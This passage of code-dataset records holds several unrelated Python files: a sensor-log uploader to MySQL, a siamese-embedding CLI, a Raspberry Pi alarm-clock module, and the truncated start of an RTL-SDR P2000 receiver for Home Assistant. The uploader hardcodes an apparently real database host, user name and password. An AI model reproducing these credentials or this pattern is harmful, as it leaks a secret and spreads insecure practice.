"matplotlib.pyplot.show", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}]} {"seq_id": "164513388", "text": "import os\nimport time\nimport MySQLdb\nfrom math import radians, cos, sin, asin, sqrt\n\noo = open('log.txt', 'r', os.O_NONBLOCK)\nids = open('add_id.txt', 'r')\nn=0\n\nlat = 0.0\nlon = 0.0\nwith open ('baris','r') as baris:\n for lines in baris:\n print (\"%s\"%(lines))\n baris_akhir=int (lines)\n\n\nx=[]\ny=[]\nz=[]\nv=[]\nep=[]\n\ndef haversine(lon1, lat1, lon2, lat2):\n # convert decimal degrees to radians\n lon1, lat1, lon2, lat2 = map(radians, [lon1, lat1, lon2, lat2])\n # haversine formula\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2\n c = 2 * asin(sqrt(a))\n # Radius of earth in kilometers is 6371\n km = 6371 * c\n return km*1000\n\n\ndef send(Ax, Ay, Az, Av, lon, lat, eps, waktu, petugas, rute):\n b = str(Ax)\n c = str(Ay)\n d = str(Az)\n e = str(Av)\n f = str(lat)\n g = str(lon)\n h = str(eps)\n i = str(petugas)\n j = str(rute)\n waktus = str(waktu)\n print (\" x=%s y=%s z=%s va=%s lat=%s lon=%s error=%s petugas=%s rute=%s waktu=%s\"%(b,c,d,e,f,g,h,i,j,waktus))\n \n db = MySQLdb.connect(host=\"sql143.main-hosting.eu\", \n user=\"u745172280_byan\", \n passwd=\"21byan21\", \n db=\"u745172280_ta\") \n cur = db.cursor()\n try:\n cur.execute(\n \"INSERT INTO data_indek (x, y, z, va, lat, lon, epx, id_petugas, id_kereta, waktu) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\", (b, c, d, e, f, g, h, i, j, waktus))\n db.commit()\n print (\"sukses\")\n except:\n print (\"Gagal\")\n db.rollback()\n db.close()\n\nfor lines in ids:\n print (\"%s\"%(lines))\n petugas,rute=lines.split(\",\")\nfor _ in xrange(baris_akhir):\n next(oo)\nfor lines in oo:\n a,b,c,d,e,f,g,epx,waktu=lines.split(\",\")\n print (\"no =%s x=%s y=%s z=%s va=%s lat=%s lon=%s error=%s waktu=%s\"%(a,b,c,d,e,f,g,epx,waktu))\n lat = float(f)\n lon = float(g)\n xf = abs(float(b))\n yf = abs(float(c))\n zf = abs(float(d))\n vf = float(e)\n epxf= float(epx)\n x.append(xf)\n y.append(yf)\n z.append(zf)\n v.append(vf)\n ep.append(epxf)\n #next(oo)\n waktu_a=waktu\n break\nwhile 1:\n for lines in oo:\n print (\"%s\"%(lines))\n a,b,c,d,e,f,g,epx,waktu=lines.split(\",\")\n #print (\"no =%s x=%s y=%s z=%s va=%s lat=%s lon=%s error=%s waktu=%s\"%(a,b,c,d,e,f,g,epx,waktu))\n latf = float(f)\n lonf = float(g)\n xf = abs(float(b))\n yf = abs(float(c))\n zf = abs(float(d))\n vf = float(e)\n epxf= float(epx)\n waktu_a=waktu\n baris = open ('baris','w')\n baris_akhir += 1\n bariss = str(baris_akhir)\n baris.write(bariss)\n baris.close()\n \n \n if(lat==latf and lon==lonf):\n x.append(xf)\n y.append(yf)\n z.append(zf)\n v.append(vf)\n ep.append(epxf)\n else:\n s = haversine(lonf,latf,lon,lat)\n if (s>=1):\n Ax = sum(x)/len(x)\n Ay = sum(y)/len(y)\n Az = sum(z)/len(z)\n Av = sum(v)/len(v)\n Ae = sum(ep)/len(ep)\n send(Ax, Ay, Az, Av, lon, lat, Ae, waktu_a,petugas,rute)\n lon = lonf\n lat = latf\n del x[:]\n del y[:]\n del z[:]\n del v[:]\n x.append(xf)\n y.append(yf)\n z.append(zf)\n v.append(vf)\n # else:\n # Ax = sum(x)/len(x)\n # Ay = sum(y)/len(y)\n # Az = sum(z)/len(z)\n # Av = sum(v)/len(v)\n # send(Ax, Ay, Az, Av,lon, lat)\n time.sleep(0.5)\n", "sub_path": "progress/gui_prog_final/send_log_edit.py", "file_name": "send_log_edit.py", "file_ext": "py", "file_size_in_byte": 3785, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.O_NONBLOCK", "line_number": 6, "usage_type": "attribute"}, {"api_name": "math.radians", "line_number": 26, "usage_type": "argument"}, {"api_name": "math.sin", "line_number": 30, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 30, "usage_type": "call"}, {"api_name": "math.asin", "line_number": 31, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 31, "usage_type": "call"}, {"api_name": "MySQLdb.connect", "line_number": 50, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 139, "usage_type": "call"}]} {"seq_id": "72475771", "text": "__author__ = [\"Francisco Clavero\"]\n__description__ = \"Creation of image embeddings given a trained siamese model.\"\n__email__ = [\"fcoclavero32@gmail.com\"]\n__status__ = \"Prototype\"\n\nfrom typing import List\n\nimport click\n\nfrom vscvs.cli.decorators import pass_context_to_kwargs, pass_kwargs_to_context\nfrom vscvs.embeddings import create_embeddings\nfrom vscvs.utils import load_siamese_model_from_checkpoint\n\n\n@click.group()\n@click.option(\n \"--branch\",\n prompt=\"Siamese branch.\",\n help=\"The siamese branch to be used to embed.\",\n default=0,\n type=click.Choice([\"0\", \"1\"]),\n)\n@pass_kwargs_to_context\ndef siamese(context, *_, **__) -> None:\n \"\"\"Image embedding creation.\"\"\"\n context.obj[\"branch\"] = int(\n context.obj[\"branch\"]\n ) # `click.Choice` only admits `str`, so we must cast manually\n\n\n@siamese.command()\n@pass_context_to_kwargs\n@click.option(\n \"--checkpoint\", prompt=\"Checkpoint name\", help=\"Name of the checkpoint directory.\"\n)\n@click.option(\n \"--date\",\n prompt=\"Checkpoint date\",\n help=\"Checkpoint date (corresponds to the directory name).\",\n)\n@click.option(\n \"--state-dict\", prompt=\"State dict\", help=\"The state_dict file to be loaded.\"\n)\n@click.option(\n \"-t\",\n \"--tag\",\n help=\"Optional tag for model checkpoint and tensorboard logs.\",\n multiple=True,\n)\ndef resnext(\n branch: int,\n dataset_name: str,\n embeddings_name: str,\n batch_size: int,\n workers: int,\n n_gpu: int,\n checkpoint: str,\n date: str,\n state_dict: str,\n tag: List[str],\n) -> None:\n \"\"\"Create image embeddings with the ResNext model.\"\"\"\n from vscvs.models import ResNextNormalized\n\n click.echo(\"Siamese ResNext embeddings for {} dataset\".format(dataset_name))\n model = load_siamese_model_from_checkpoint(\n ResNextNormalized, ResNextNormalized, state_dict, checkpoint, date, *tag\n )\n embedding_model = model.embedding_network_1 if branch else model.embedding_network_0\n create_embeddings(\n embedding_model.base, dataset_name, embeddings_name, batch_size, workers, n_gpu\n )\n", "sub_path": "vscvs/cli/embed/siamese.py", "file_name": "siamese.py", "file_ext": "py", "file_size_in_byte": 2069, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "click.group", "line_number": 15, "usage_type": "call"}, {"api_name": "click.option", "line_number": 16, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 21, "usage_type": "call"}, {"api_name": "vscvs.cli.decorators.pass_kwargs_to_context", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 60, "usage_type": "name"}, {"api_name": "click.echo", "line_number": 65, "usage_type": "call"}, {"api_name": "vscvs.utils.load_siamese_model_from_checkpoint", "line_number": 66, "usage_type": "call"}, {"api_name": "vscvs.models.ResNextNormalized", "line_number": 67, "usage_type": "argument"}, {"api_name": "vscvs.embeddings.create_embeddings", "line_number": 70, "usage_type": "call"}, {"api_name": "vscvs.cli.decorators.pass_context_to_kwargs", "line_number": 32, "usage_type": "name"}, {"api_name": "click.option", "line_number": 33, "usage_type": "call"}, {"api_name": "click.option", "line_number": 36, "usage_type": "call"}, {"api_name": "click.option", "line_number": 41, "usage_type": "call"}, {"api_name": "click.option", "line_number": 44, "usage_type": "call"}]} {"seq_id": "627335157", "text": "from pathlib import Path\nfrom datetime import datetime, timedelta\nimport time\nimport csv\nfrom pins import *\n\n\nclass Alarmmod():\n def __init__(self, Main):\n self.Main = Main\n\n self.alarms = []\n self.alarm_path = Path(__file__).resolve().parent / \"alarms.txt\"\n self.alarm_format = \"%d.%m.%y %H:%M\"\n\n self.selected = 0 # index of selected rel to alarms\n self.displayed = [] # index of displayed lines from disp_list\n # complete list of alarms, ordered, [[{alarm: opt}, selected?, active?], ...]\n\n self.mod_alarm = None # holds alarm which is getting modifyied\n self.sound_selected = 0 # index of dict\n self.light_selected = 0\n self.light_opt = [\"Aus\", \"Sonnenaufgang\"]\n self.light_delay = 0\n\n self.load_alarms()\n\n def is_set24(self):\n '''Whether an alarm is set for the next 24h.\n '''\n for alarm in self.alarms:\n if alarm.get_armed24():\n return True\n return False\n\n def get_set24(self):\n '''Returns list of all alarms set for the next 36h.\n '''\n armed = []\n for alarm in self.alarms:\n if alarm.get_armed24():\n armed.append(alarm)\n return armed\n\n def load_alarms(self):\n with self.alarm_path.open(newline='') as alarm_file:\n alarm_reader = csv.reader(alarm_file, skipinitialspace=True)\n for alarm_line in alarm_reader:\n alarm_date = datetime.strptime(\n alarm_line[0], self.alarm_format)\n active = bool(alarm_line[1] == \"True\")\n self.alarms.append(Alarm(\n alarm_date, sound=alarm_line[2],\n light=alarm_line[3], light_delay=alarm_line[4], active=active))\n print(\"befor sorting: \\n\", self.alarms)\n self.alarms.sort()\n print(\"after sorting: \\n\", self.alarms)\n\n def save_alarms(self):\n print(\"Saving alarms..\")\n with self.alarm_path.open(\"w\", newline='') as alarm_file:\n for alarm in self.alarms:\n alarm_date_str = alarm.get_a_datetime().strftime(\n self.alarm_format)\n row = \"{}, {}, {}, {}, {}\\n\".format(\n alarm_date_str, alarm.active, alarm.sound, alarm.light,\n int(alarm.light_delay.seconds/60))\n print(\"saving alarms: \", row)\n alarm_file.write(row)\n\n def get_disp_list(self):\n if self.displayed == []: # fill initally the list \"displayed\"\n self.displayed.extend(\n [i for i, _ in enumerate(self.alarms) if i < 3])\n self.alarms[0].set_selected()\n\n self.updated_displayed()\n return [self.alarms[i] for i in self.displayed]\n\n def updated_displayed(self):\n while self.selected not in self.displayed:\n if self.selected < min(self.displayed):\n self.displayed = [i - 1 for i in self.displayed]\n elif self.selected > max(self.displayed):\n self.displayed = [i + 1 for i in self.displayed]\n\n self.displayed = [len(self.alarms) +\n i if i < 0 else i for i in self.displayed]\n self.displayed = [i - len(self.alarms)\n if i > len(self.alarms) - 1\n else i for i in self.displayed]\n\n def del_mod(self):\n self.alarms.remove(self.mod_alarm)\n\n# -----Multiline button handling-----\n def sel_up(self):\n print(\"Selection UP\")\n self.selected -= 1\n if self.selected < 0:\n self.selected = len(self.alarms) - 1\n self.alarms[self.selected].set_selected(True, self.alarms)\n self.Main.Disp.disp_update = True\n\n def sel_down(self):\n print(\"Selection Down\")\n self.selected += 1\n if self.selected > len(self.alarms) - 1:\n self.selected = 0\n self.alarms[self.selected].set_selected(True, self.alarms)\n self.Main.Disp.disp_update = True\n\n def sel_ok(self):\n print(\"Selection OK\")\n if not self.alarms[self.selected].get_armed24(): # inactive -> active\n print(\"inactive --> active\")\n self.alarms[self.selected].set_armed24()\n self.save_alarms()\n else:\n self.Main.menu_mode = \"Main\" # active -> settings\n self.Main.Menu.set_crr_menu(\"mod_alarm\")\n self.Main.Disp.set_disp_mode(1)\n self.mod_alarm = self.alarms[self.selected]\n\n self.Main.Disp.disp_update = True\n\n def sel_back(self):\n print(\"Selection BACK\")\n self.displayed = []\n self.Main.menu_mode = \"Main\"\n self.Main.Menu.set_crr_menu(\"main\")\n self.Main.Disp.set_disp_mode(1)\n self.Main.Disp.disp_update = True\n\n# -----alarm clock setting-----\n def set_clock(self, ch):\n ''' Handles buttons if menu_mode = \"alarm_set\"\n '''\n # -----hours-----\n if self.mod_alarm.mod_part == \"h\":\n repeats = 1\n while True:\n if ch == UP:\n print(\"mod a_datetime: \", self.mod_alarm.a_datetime)\n self.mod_alarm.a_datetime -= timedelta(hours=1)\n self.Main.Disp.disp_update = True\n print(\"mod a_datetime + 1h: \", self.mod_alarm.a_datetime)\n if GPIO.input(UP):\n time.sleep(1 / repeats)\n if GPIO.input(UP):\n if repeats <= 4:\n repeats += 1\n continue\n elif ch == DOWN:\n self.mod_alarm.a_datetime += timedelta(hours=1)\n self.Main.Disp.disp_update = True\n if GPIO.input(DOWN):\n time.sleep(1 / repeats)\n if GPIO.input(DOWN):\n if repeats <= 4:\n repeats += 1\n continue\n\n elif ch == BACK:\n print(\"Canceled!\")\n self.Main.menu_mode = \"alarm_multiL\"\n self.Main.Disp.set_disp_mode(3)\n\n elif ch == OK:\n self.mod_alarm.mod_part = \"min\"\n self.Main.Disp.disp_update = True\n break\n # -----minutes-----\n elif self.mod_alarm.mod_part == \"min\":\n repeats = 1\n while True:\n if ch == UP:\n self.mod_alarm.a_datetime -= timedelta(minutes=1)\n self.Main.Disp.disp_update = True\n if GPIO.input(UP):\n time.sleep(1 / repeats)\n if GPIO.input(UP):\n if repeats <= 10:\n repeats += 1\n continue\n elif ch == DOWN:\n self.mod_alarm.a_datetime += timedelta(minutes=1)\n self.Main.Disp.disp_update = True\n if GPIO.input(DOWN):\n time.sleep(1 / repeats)\n if GPIO.input(DOWN):\n if repeats <= 10:\n repeats += 1\n continue\n\n elif ch == BACK:\n self.mod_alarm.mod_part = \"h\"\n self.Main.Disp.disp_update = True\n elif ch == OK:\n self.mod_alarm.mod_part = \"sound\"\n self.Main.Disp.disp_update = True\n break\n # -----sound-----\n elif self.mod_alarm.mod_part == \"sound\":\n if ch == UP:\n self.sound_selected -= 1\n elif ch == DOWN:\n self.sound_selected += 1\n elif ch == BACK:\n self.mod_alarm.mod_part = \"min\"\n\n if self.sound_selected < 0:\n self.sound_selected = len(self.Main.Speakers.sounds_list) - 1\n elif self.sound_selected > len(self.Main.Speakers.sounds_list) - 1:\n self.sound_selected = 0\n #self.mod_alarm.sound = self.Main.Speakers.sounds_list[self.sound_selected]\n\n if ch == OK:\n print(\"Alarm old: \", self.mod_alarm.sound)\n self.mod_alarm.sound = self.Main.Speakers.sounds_list[self.sound_selected]\n print(\"ALARM new: \",\n self.Main.Speakers.sounds_list[self.sound_selected])\n self.sound_selected = 0\n self.mod_alarm.mod_part = \"light\"\n self.Main.Disp.disp_update = True\n # -----light-----\n elif self.mod_alarm.mod_part == \"light\":\n if ch == UP:\n print(\"light: UP\")\n self.light_selected += 1\n elif ch == DOWN:\n print(\"light: DOWN\")\n self.light_selected -= 1\n elif ch == BACK:\n print(\"light: Back\")\n self.mod_alarm.mod_part = \"sound\"\n\n if self.light_selected < 0:\n self.light_selected = len(self.light_opt) - 1\n elif self.light_selected > len(self.light_opt) - 1:\n self.light_selected = 0\n\n if ch == OK:\n self.mod_alarm.light = self.light_opt[self.light_selected]\n if self.mod_alarm.light != \"Aus\":\n self.mod_alarm.mod_part = \"light_delay\"\n else:\n self.mod_alarm.mod_part = None\n self.mod_alarm.set_armed24()\n self.save_alarms()\n self.Main.tasks.put([\"Blink\", -1, \"green\"])\n self.Main.menu_mode = \"alarm_multiL\"\n self.Main.Disp.set_disp_mode(3)\n self.Main.Disp.disp_update = True\n\n # -----light delay-----\n elif self.mod_alarm.mod_part == \"light_delay\":\n if ch == UP:\n self.light_delay -= 1 if self.light_delay > 0 else 0\n elif ch == DOWN:\n self.light_delay += 1 if self.light_delay < 30 else 0\n elif ch == BACK:\n self.mod_alarm.mod_part = \"light\"\n elif ch == OK:\n self.mod_alarm.light_delay = timedelta(\n minutes=self.light_delay)\n self.mod_alarm.mod_part = None\n self.mod_alarm.set_armed24()\n self.save_alarms()\n self.Main.tasks.put([\"Blink\", -1, \"green\"])\n self.Main.menu_mode = \"alarm_multiL\"\n self.Main.Disp.set_disp_mode(3)\n\n self.Main.Disp.disp_update = True\n\n# -----Ringing-----\n def ring(self, alarm):\n '''Handles alarm ringing. Sets the light and sound. \\n\n Gets called from taskmanager 30 min befor the alarm.\n '''\n print(\"START: ring() \", alarm)\n # Wait for light\n while not alarm.a_datetime - alarm.light_delay < datetime.now():\n time.sleep(10)\n\n # Start light if set:\n if alarm.light == \"Sonnenaufgang\":\n self.Main.tasks.put(\n [\"sunrise\", -1, alarm.light_delay.total_seconds()])\n\n # Wait for alarm\n while not alarm.a_datetime < datetime.now() and not self.Main.abort_alarm:\n time.sleep(10)\n\n if self.Main.abort_alarm:\n self.Main.abort_alarm = False\n self.Main.ringing = False\n return\n\n # waking display up\n if self.Main.menu_mode == \"night\":\n self.Main.menu_mode = \"full_screen\"\n self.Main.Disp.set_disp_mode(2)\n\n # start alarm sound\n print(\"Start Alarm\")\n if alarm.sound in self.Main.Speakers.stations:\n print(\"..in 'stations'\")\n self.Main.Speakers.radio(alarm.sound)\n elif alarm.sound in self.Main.Speakers.musik:\n print(\"..in 'musik'\")\n file_uri = self.Main.Speakers.musik[alarm.sound]\n print(file_uri)\n self.Main.Speakers.play_file(file_uri)\n self.Main.Menu.make_submenus(\"Radio_on\")\n\n time.sleep(10)\n\n if self.Main.abort_alarm:\n self.Main.abort_alarm = False\n self.Main.ringing = False\n return\n if not self.Main.Speakers.is_playing:\n print(\"Alarm sound not playing after 5s, playing local track.\")\n self.Main.Speakers.play_file(\n self.Main.Speakers.get_audio_files().popitem()[1])\n\n\n# -----Scheduler-----\n\n def alarm_scheduler(self):\n ''' Checks every 60s for set alarms. Activates a alarm 30 min befor \n the alarmtime by passing it to ring().\n '''\n\n print(\"alarm_scheduler initialized\")\n while not self.Main.exit_flag:\n time.sleep(60)\n if not self.is_set24():\n # print(\"alarm_scheduler: No alarm active, sleeping...\")\n pass\n else:\n act_alarms = self.get_set24()\n # print(\"alarm_scheduler: \", act_alarms)\n soonest = act_alarms[0]\n for alarm in act_alarms:\n if alarm.a_datetime < soonest.a_datetime:\n soonest = alarm\n\n if not soonest.a_datetime < datetime.now() + timedelta(minutes=35):\n # print(\"alarm_scheduler: No alarm the next 40 min, sleeping...\")\n pass\n elif not self.Main.ringing:\n self.Main.tasks.put((\"ring\", [-1], soonest))\n soonest.active = False\n else:\n print(\"Already ringing!! \", soonest)\n\n print(\"alarm_sceduler: EXIT\")\n\n\nclass Alarm():\n def __init__(self, a_datetime, sound=\"SWR3\", light=\"Aus\", light_delay=0, active=True):\n self.a_datetime = a_datetime\n self.sound = sound\n self.light = light\n self.light_delay = timedelta(minutes=int(light_delay))\n self.active = active\n self.selected = False\n self.mod_part = None # \"h\", \"min\", \"sound\", \"light\"\n\n def __lt__(self, other): # self < other?\n if self.get_armed24() == other.get_armed24():\n if self.a_datetime < other.a_datetime:\n return True\n return False\n\n return self.get_armed24()\n\n def __eq__(self, other):\n return (self.get_armed24() == other.get_armed24()) and self.a_datetime == other.a_datetime\n\n def __str__(self):\n return \"--\".join((self.a_datetime.strftime(\"%d.%m.%y %H:%M\"), str(self.active), \"\\n\"))\n\n def set_active(self, active=True):\n if active:\n self.active = True\n else:\n self.active = False\n\n def get_selected(self):\n return self.selected\n\n def set_selected(self, selected=True, all_alarms=None):\n if all_alarms is not None:\n for alarm in all_alarms:\n alarm.set_selected(False)\n self.selected = selected\n\n def get_armed24(self):\n '''Whether the alarm is set and active in the next 36 h.\n '''\n if self.active:\n tomorrow = datetime.now() + timedelta(days=1, hours=12)\n if (datetime.now() < self.a_datetime) and (self.a_datetime < tomorrow):\n return True\n return False\n\n def set_armed24(self):\n '''Activates the alarm, if the date is in the past, sets it to tomorrow.\n '''\n print(\"set_armed24\")\n self.active = True\n\n self.a_datetime = datetime.combine(\n datetime.today(), self.a_datetime.time())\n if self.a_datetime < datetime.now():\n # set date to tomorrow, keep time\n tomorrow = datetime.now() + timedelta(days=1)\n self.a_datetime = datetime.combine(\n tomorrow, self.a_datetime.time())\n print(\"a_datetime was changed: \", self.a_datetime)\n print(\"get_armed24: \", self.get_armed24())\n # else:\n # print(\"set_armed24: a_datetime not changed.\")\n\n def get_text_line(self):\n return [self.a_datetime, self.active, self.selected]\n\n def set_a_datetime(self, a_datetime):\n self.a_datetime = a_datetime\n\n def get_a_datetime(self):\n return self.a_datetime\n\n __repr__ = __str__\n", "sub_path": "alarmmod.py", "file_name": "alarmmod.py", "file_ext": "py", "file_size_in_byte": 16341, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pathlib.Path", "line_number": 13, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 49, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 145, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 149, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 155, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 158, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 178, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 181, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 187, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 190, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 265, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 283, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 283, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 284, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 292, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 292, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 293, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 317, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 338, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 350, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 350, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 350, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 367, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 405, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 405, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 405, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 406, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 406, "usage_type": "name"}, {"api_name": "datetime.datetime.combine", "line_number": 416, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 416, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 417, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 417, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 418, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 418, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 420, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 420, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 420, "usage_type": "call"}, {"api_name": "datetime.datetime.combine", "line_number": 421, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 421, "usage_type": "name"}]} {"seq_id": "644304419", "text": "#!/usr/bin/env python3\n\"\"\"RTL-SDR P2000 Receiver for Home Assistant.\"\"\"\n\n# See README for installation instructions\nimport calendar\nimport configparser\nimport fnmatch\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nimport threading\nimport time\nfrom datetime import datetime\n\nimport requests\n\nVERSION = \"0.0.1\"\n\n\nclass MessageItem:\n \"\"\"Contains all the Message data.\"\"\"\n\n def __init__(self):\n self.timestamp = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n self.message_raw = \"\"\n self.timestamp = \"\"\n self.timereceived = time.monotonic()\n self.groupid = \"\"\n self.receivers = \"\"\n self.capcodes = []\n self.body = \"\"\n self.location = \"\"\n self.postcode = \"\"\n self.city = \"\"\n self.address = \"\"\n self.street = \"\"\n self.region = \"\"\n self.priority = 0\n self.disciplines = \"\"\n self.remarks = \"\"\n self.is_posted = False\n\n\ndef load_config():\n \"\"\"Create default or load existing config file.\"\"\"\n config = configparser.ConfigParser()\n if config.read(\"config.ini\"):\n print(\"Loading configuration from 'config.ini'\")\n return config\n\n config[\"main\"] = {\"debug\": False}\n config[\"rtl-sdr\"] = {\n \"cmd\": \"rtl_fm -f 169.65M -M fm -s 22050 | multimon-ng -a FLEX -t raw -\"\n }\n config[\"home-assistant\"] = {\n \"baseurl\": \"http://192.168.2.123:8123\",\n \"token\": \"Place Your Long-Lived Access Token Here\",\n \"sensorname\": \"P2000\",\n }\n with open(\"config.ini\", \"w\") as configfile:\n config.write(configfile)\n print(\"Created config file 'config.ini', edit it and restart the program.\")\n sys.exit(0)\n\n\ndef check_requirements():\n \"\"\"Check if required software is installed.\"\"\"\n print(\"Checking if required software is installed\")\n # Check if rtl_fm is installed\n process = subprocess.Popen(\n \"rtl_fm\", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n )\n # Wait for the process to finish\n dummy, err = process.communicate()\n error_str = err.decode(\"utf8\")\n if \"not found\" in error_str or \"not recognized\" in error_str:\n print(\"rtl_fm command not found, please install RTL-SDR software\")\n return False\n\n print(\"rtl_fm is found\")\n\n # Check if multimon-ng is installed\n process = subprocess.Popen(\n \"multimon-ng -h\", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE\n )\n # Wait for the process to finish\n dummy, err = process.communicate()\n error_str = err.decode(\"utf8\")\n if \"not found\" in error_str:\n print(\"multimon-ng not found, please install the multimon-ng package\")\n return False\n\n print(\"multimon-ng is found\")\n return True\n\n\ndef load_capcodes_dict(filename):\n \"\"\"Load capcodes to dictionary.\"\"\"\n capcodes = {}\n try:\n print(\"Loading data from '{}'\".format(filename))\n with open(filename, \"r\") as csv_file:\n csv_list = [\n [val.strip() for val in r.split(\",\")] for r in csv_file.readlines()\n ]\n\n (_, *header), *data = csv_list\n for row in data:\n key, *values = row\n capcodes[key] = {key: value for key, value in zip(header, values)}\n print(\"{} records loaded\".format(len(capcodes)))\n except KeyError:\n print(f\"Could not parse file contents of: {filename}\")\n except OSError:\n print(f\"Could not open/read file: {filename}, ignore filter\")\n\n return capcodes\n\n\ndef load_capcodes_filter_dict(filename):\n \"\"\"Load capcodes ignore or match data to dictionary.\"\"\"\n capcodes = dict()\n try:\n print(\"Loading data from '{}'\".format(filename))\n with open(filename, \"r\") as text_file:\n lines = text_file.readlines()\n for item in lines:\n if item[0] == \"#\":\n continue\n\n fields = item.split(\",\")\n if len(fields) == 2:\n capcodes[fields[0].strip()] = fields[1].strip()\n elif len(fields) == 1:\n capcodes[fields[0].strip()] = 'NO DESCR'\n print(\"{} records loaded\".format(len(capcodes)))\n return capcodes\n except KeyError:\n print(f\"Could not parse file contents of: {filename}\")\n except OSError:\n print(f\"Could not open/read file: {filename}, ignore filter\")\n\n return capcodes\n\n\ndef load_list(filename):\n \"\"\"Load data in list.\"\"\"\n tmplist = []\n try:\n print(\"Loading data from '{}'\".format(filename))\n with open(filename, \"r\") as text_file:\n lines = text_file.readlines()\n lines_strip = map((lambda line: line.strip()), lines)\n tmplist = list(\n filter(\n lambda line: len(line) > 0\n and line[0:1] != \"#\"\n and line[0:1] != \";\",\n lines_strip,\n )\n )\n print(\"{} records loaded\".format(len(tmplist)))\n return tmplist\n except KeyError:\n print(f\"Could not parse file contents of: {filename}\")\n except OSError:\n print(f\"Could not open/read file: {filename}\")\n\n return tmplist\n\n\ndef check_filter(mylist, text):\n \"\"\"Check filter data.\"\"\"\n # If list is not loaded or empty allow all\n if len(mylist) == 0:\n return True\n\n # Check if text applied matches at least one filter\n for f_str in mylist:\n if fnmatch.fnmatch(text, f_str):\n return True\n\n return False\n\n\ndef to_local_datetime(utc_dt):\n \"\"\"Convert utc to local time.\"\"\"\n time_tuple = time.strptime(utc_dt, \"%Y-%m-%d %H:%M:%S\")\n return time.ctime(calendar.timegm(time_tuple))\n\n\ndef p2000_get_prio(message):\n \"\"\"Look for priority strings and return level.\"\"\"\n priority = 0\n\n regex_prio1 = r\"^A\\s?1|\\s?A\\s?1|PRIO\\s?1|^P\\s?1\"\n regex_prio2 = r\"^A\\s?2|\\s?A\\s?2|PRIO\\s?2|^P\\s?2\"\n regex_prio3 = r\"^B\\s?1|^B\\s?2|^B\\s?3|PRIO\\s?3|^P\\s?3\"\n regex_prio4 = r\"^PRIO\\s?4|^P\\s?4\"\n\n if re.search(regex_prio1, message, re.IGNORECASE):\n priority = 1\n elif re.search(regex_prio2, message, re.IGNORECASE):\n priority = 2\n elif re.search(regex_prio3, message, re.IGNORECASE):\n priority = 3\n elif re.search(regex_prio4, message, re.IGNORECASE):\n priority = 4\n\n return priority\n\n\nclass Main:\n \"\"\"Main class, start of application.\"\"\"\n\n def __init__(self):\n self.running = True\n self.messages = []\n\n print(f\"RTL-SDR P2000 Receiver for Home Assistant Version {VERSION}\\n\")\n # Set current folder so we can find the config files\n os.chdir(os.path.dirname(os.path.abspath(__file__)))\n\n # Check if required software is installed\n if not check_requirements():\n print(\"Application stopped, required software was not found!\")\n sys.exit(0)\n\n # Load configuration\n self.config = load_config()\n self.debug = self.config.getboolean(\"main\", \"debug\")\n self.rtlfm_cmd = self.config.get(\"rtl-sdr\", \"cmd\")\n self.baseurl = self.config.get(\"home-assistant\", \"baseurl\")\n self.token = self.config.get(\"home-assistant\", \"token\")\n self.sensorname = self.config.get(\"home-assistant\", \"sensorname\")\n\n # Load capcodes data\n self.capcodes = load_capcodes_dict(\"db_capcodes.txt\")\n\n # Load plaatsnamen data\n self.plaatsnamen = load_list(\"db_plaatsnamen.txt\")\n\n # Load plaatsnamen 